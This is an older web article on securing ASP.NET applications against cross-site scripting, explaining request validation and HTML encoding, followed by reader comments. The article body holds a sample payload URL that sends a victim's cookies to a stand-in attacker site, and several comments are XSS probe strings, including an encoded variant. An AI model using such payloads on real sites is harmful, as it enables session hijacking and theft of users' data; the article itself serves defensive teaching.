Santry Technology Solutions, Content Management, DotNetNuke, SharePoint Consulting
Register | Login
Thursday, July 02, 2009

Sections
  
About Us
  
Partners
Downloads
  
 WWWCoder.com Resource Directory

Securing Your ASP.NET App Against Cross-site Scripting (XSS) Attacks
4/15/2004 12:52:58 PM

In this article we will examine how a potential attacker can conduct an XSS attack against your application to gain information from your site users. We will also provide some insight into how you can protect your site against these attacks.

Cross-site Scripting (XSS) attacks enable an attacker to be able to hijack information from visitors of your site by injecting client-side scripting into your Web application. For example say you're hosting a comments form, allowing site users to come in and enter in information directly via a Web form, and then output the data to the browser in real time. This type of functionality is common in guest books, and forum applications One problem with it though is if you don't do some validation on the input, you could potentially allow your site to become a tool for someone who intends to do some malicious activity, like hijacking cookies, or another user's session information.

Example of an Attack

Let's provide a basic example of an XSS type attack. So for example you have a search form that accepts input for search criteria. If the search form does not provide any input validation, then a person entering in their criteria could add some JavaScript, and have that JavaScript execute in the context of another users browser. For example, say we have a textbox control in our application, and someone enters in some JavaScript into the control, like so:

<script>alert('Hello World');</script>

Now of course in this example, not much damage will occur with something like this, this is just for the sake of argument.

If you do not provide some validation of the input and output the content directly to the browser, for example:

<asp:Label id="searchTerms" runat="server"></asp:Label>

Then in the code behind do something like this:

searchTerms.Text = txtKeywords.Text

Then the JavaScript entered into the textbox control will be directly outputted to the browser page, and a message box will appear with the "Hello World" text.

So you may be asking yourself, so what the attacker is just outputting text to themselves, how is this going to hurt my app?

Consider this, many application make use of query strings to pass data to their applications, this is especially so with search engines. So if you have the following code to output a request parameter directly to the browser like so:

searchTerms.Text = Request.QueryString("keywords")

Then the potential attacker sends a link to someone with the following URL: http://www.yoursite.com/yourapp.aspx?keywords=<script>alert('hello world')</script>, and then place this URL in the href value and then displays some other text to the user. The user could click on the link, and then your application would display the client side script and subsequently execute in the user's browser. So even though the user may trust your site, your site could unknowingly be used to send information about your user to someone else who shouldn't be getting it. This information could be cookies from the user's session.

Other ways an attacker will hide this information is to encode the query string value as HEX characters, and then send cookie information to a script located on their server. Cookie information can be hijacked simply by sending document.cookie to another script. For example: http://www.yoursite.com/yourapp.aspx?keywords=<script>document.location='http://www.attackersite.com/somescript.aspx?value=' + document.cookie</script>. This then results in your application's user session being sent to another site.

As mentioned, most attackers will hide the query string data as a Hex value in order not to be too obvious to the user. You should filter out all input to ensure your site provides a safe experience and secures your user data from being accessed from unwanted parties.

Securing Your Code

So how do you as a developer prevent this type of an attack? First off you should always validate input and never output it directly to the browser. A form of protection that ASP.NET 1.1 provides is page validation. This is done by adding a ValidateRequest attribute to the page or in the web.config. By default ValidateRequest is set to true to ensure secure code. Validation can occur at a page level, for example:

<%@ Page ... validateRequest="true" %>

Or by default in the web.config:

<system.web>
<pages validateRequest="true" />
</system.web>

With request validation in place, if you were to have the code in the above examples in place, and someone were to enter in script into your app, a similar error to the one below would be displayed.

Server Error in '/xssapp' Application.
 --------------------------------------------------------------------------------

 A potentially dangerous Request.Form value was detected from the client (searchTerms="<script>").
 Description: Request Validation has detected a potentially dangerous client input value, and
 processing of the request has been aborted. This value may indicate an attempt to compromise
 the security of your application, such as a cross-site scripting attack. You can disable request
 validation by setting validateRequest=false in the Page directive or in the configuration section.
 However, it is strongly recommended that your application explicitly check all inputs in this case.

 Exception Details: System.Web.HttpRequestValidationException: A potentially dangerous
 Request.Form value was detected from the client (searchTerms="<script>").

 

ValidateRequest will check for any kind of script or html characters and throw an error, in some cases you may need to accept input such as HTML and output that to the browser, like in content management systems. In some cases you may need to set the ValidateRequest value to false, but this should only be done at a page level, in order not to reduce the security of your ASP.NET application more than what is needed for your application.

One method ASP.NET provides is HTTPUtility.HTMLEncode, you may remember Server.HTMLEncode from ASP. This method will translate the text to HTML encoded values, for example a ">" sign would become "&gt;" and that would be sent to the browser which would just display harmless text to the user. Just ensure you check the values being outputted and try testing your application by simulating an XSS attack.

References: Adding Cross-site Scripting Protection in ASP.NET 1.0

By: Patrick Santry, Microsoft MVP (ASP/ASP.NET), developer of this site, author of books on Web technologies, and member of the DotNetNuke core development team. If you're interested in the services provided by Patrick, visit his company Website at Santry.com.

Related Articles
   Related Document Preventing SQL Injection Attacks


Page Options:
format for printing  Format for Printer
email article  Email Page
add to your favorites   Add to Favorites
How would you rate the quality of this content?
Poor - - Excellent
Comments?
Overall Rating:
Comments Left:
Left on 4/24/2009 8:11:43 AM by Anonymous
Comments: <script>alert('hello');</script>
Left on 4/20/2009 11:00:21 PM by Anonymous
Comments: <!--
No ratings available.
Left on 4/15/2009 7:09:46 AM by Anonymous
Comments: <script>window.alert('test');</script>
No ratings available.
Left on 4/8/2009 5:42:06 AM by Anonymous
Comments: <script>alert('Xss')</script>
Left on 12/12/2008 10:32:25 PM by Anonymous
Comments: There is no true way to completely secure an asp site. There is always a way. Remember ::DATA from the old days?
Left on 9/9/2008 2:36:52 PM by Anonymous
Comments: %uff1e%uff02%uff1exxx%uff1cscript%uff1ealert(397806456975)%3B%uff1c/script%uff1e
No ratings available.
Left on 8/29/2008 6:28:26 AM by Anonymous
Comments: Nice, Really Nice
Left on 8/5/2008 3:03:36 PM by Anonymous
Comments: thank you, it is very good.
Left on 5/19/2008 4:22:56 AM by Anonymous
Comments: Good article
Left on 4/4/2008 2:16:24 AM by Anonymous
Comments: A 500 error? No thanks.
Left on 4/3/2008 1:18:39 AM by Anonymous
Comments: <script>alert('chandru')</script>
Left on 9/5/2007 3:11:36 PM by Anonymous
Comments: <script>alert('Hello World');</script>
No ratings available.
Left on 3/9/2007 5:03:03 PM by Anonymous
Comments: Perfect site! Anything superfluous, all is laconic and beautiful. Thanks!
Left on 3/1/2007 4:02:12 PM by Anonymous
Comments: Sehr guten site. Alles arbeitet deutlich(klar), schon eben storungsfrei. Wer machte? Vielleicht vom Weg?
Left on 2/8/2007 12:44:11 PM by Anonymous
Comments: Very interesting and beautiful site. It is a lot of ful information. Thanks.
Left on 10/30/2006 9:36:25 AM by Anonymous
Comments:
Left on 10/18/2006 10:40:01 PM by Anonymous
Comments: Take care of it and keep it on the road!
Left on 7/3/2006 6:49:43 PM by Anonymous
Comments: Comments from the following blog: Patrick Santry's (aka wwwCoder) Blog, located at: http://blogs.wwwcoder.com/psantry/archive/2006/07/03/36567.aspx
No ratings available.
Left on 2/25/2006 6:21:51 AM by Anonymous
Comments: Very useful
Left on 7/15/2005 7:24:03 AM by Anonymous
Comments: What if i am setting it false but i am not showing the text box input to the user. or storing that in the database. i am using the it as an search criteria. suppose my database has got the data with <, > signs (this is not the html data infact).
No ratings available.
Left on 4/28/2005 3:36:57 AM by Anonymous
Comments: I really need it
Left on 3/14/2005 5:34:01 PM by Anonymous
Comments: very helpful, thanks
Left on 2/3/2005 5:22:41 AM by Anonymous
Comments: He Ram....Its wondurfull.........
No ratings available.
Left on 12/31/2004 7:54:47 AM by Anonymous
Comments: What one really needs to know is how to leave the validaterequest=true in place but warn the naive user who is not a hacker if they enter a greater than symbol into the box because that is what they want.
Left on 12/17/2004 6:01:13 AM by Anonymous
Comments: Put some validator on your site then talk about Cross-site Scripting Protection,,thanks
Left on 12/4/2004 6:10:28 PM by Anonymous
Comments: Another way would be to do HttpUtility.HttpEncode(text)
Left on 10/22/2004 11:13:05 AM by Anonymous
Comments: lt;scriptgt;
No ratings available.
Left on 8/27/2004 4:37:24 AM by Nguyen Luong Duc
Comments: That's great article for everybody

Left on 8/25/2004 10:50:36 PM by Anonymous
Comments: Very usefuk thanks
Left on 7/10/2004 9:06:35 PM by Anonymous
Comments: Thanks.
Left on 6/23/2004 12:35:59 AM by Anonymous
Comments:

Left on 6/8/2004 7:25:40 AM by Anonymous
Comments: Molto interessante ed istruttivo.
Left on 6/2/2004 8:48:16 AM by Anonymous
Comments: Comments from the following blog: Jason N. Gaylord's Blog, located at: http://weblogs.asp.net/jgaylord/archive/0001/01/01/146239.aspx
No ratings available.
Left on 6/1/2004 10:25:20 PM by Anonymous
Comments: Comments from the following blog: Jason N. Gaylord's Blog, located at: http://weblogs.asp.net/jgaylord/archive/2004/06/01/146239.aspx
No ratings available.
Left on 6/1/2004 9:50:03 AM by Anonymous
Comments: Ok, but may be more examples are needed
Left on 5/31/2004 12:43:24 PM by Anonymous
Comments: This article was pretty thin on detail. And validateRequest isn't foolproof, there are ways around it.
Left on 5/28/2004 6:56:12 PM by Anonymous
Comments: For more information about CSS attack specifics, see http://www.technicalinfo.net/papers/CSS.html
Left on 5/28/2004 2:52:21 PM by Anonymous
Comments: "searchTerms.Text = txtKeywords.Text"

Internally, the Text property for the Label control HTML encodes the output. I think the better the example for that part of the demonstration would be to use a Literal control or any serverside-HTML control.
Left on 5/28/2004 10:52:39 AM by Anonymous
Comments: http://dotnetjunkies.com/WebLog/stefandemetz/archive/2004/02/03/6530.aspx
Left on 5/28/2004 10:29:26 AM by Anonymous
Comments: No, because it's not feasible for all internet applications, nor does it apply for ASP.NET 1.0.
No ratings available.
Left on 5/28/2004 10:28:08 AM by Anonymous
Comments: "We will also provide some insight into how you can protect your site against these attacks." - Leave the defaults alone? Is that a helpful insight?
Left on 5/28/2004 8:09:46 AM by Anonymous
Comments: Nice info thank you!
Left on 5/25/2004 12:43:59 AM by Anonymous
Comments: now that last one was just stupid
No ratings available.
Left on 5/11/2004 4:37:28 AM by Anonymous
Comments: but can u tell me how can i catch this exception from c# code
mohit_sws@hotmail.com
No ratings available.
Left on 5/5/2004 4:33:55 AM by Anonymous
Comments: nice one
Left on 5/4/2004 8:19:35 AM by Anonymous
Comments: Bang on...
Left on 4/22/2004 6:11:58 AM by Anonymous
Comments: wow - very interesting!
Left on 4/21/2004 7:27:30 PM by Anonymous
Comments: Can't blame you for trying. ;-)
No ratings available.
  

 Latest Articles
  

 Latest News
  

 

Spotlight
Syndication

 


 


Digg This
 


DotNetNuke Platinum Benefactor

  
 

 Terms Of Use | Privacy Statement
 Copyright 2008 - Santry Technology Solutions, Box 172, Girard, PA 16417, (814) 774-0970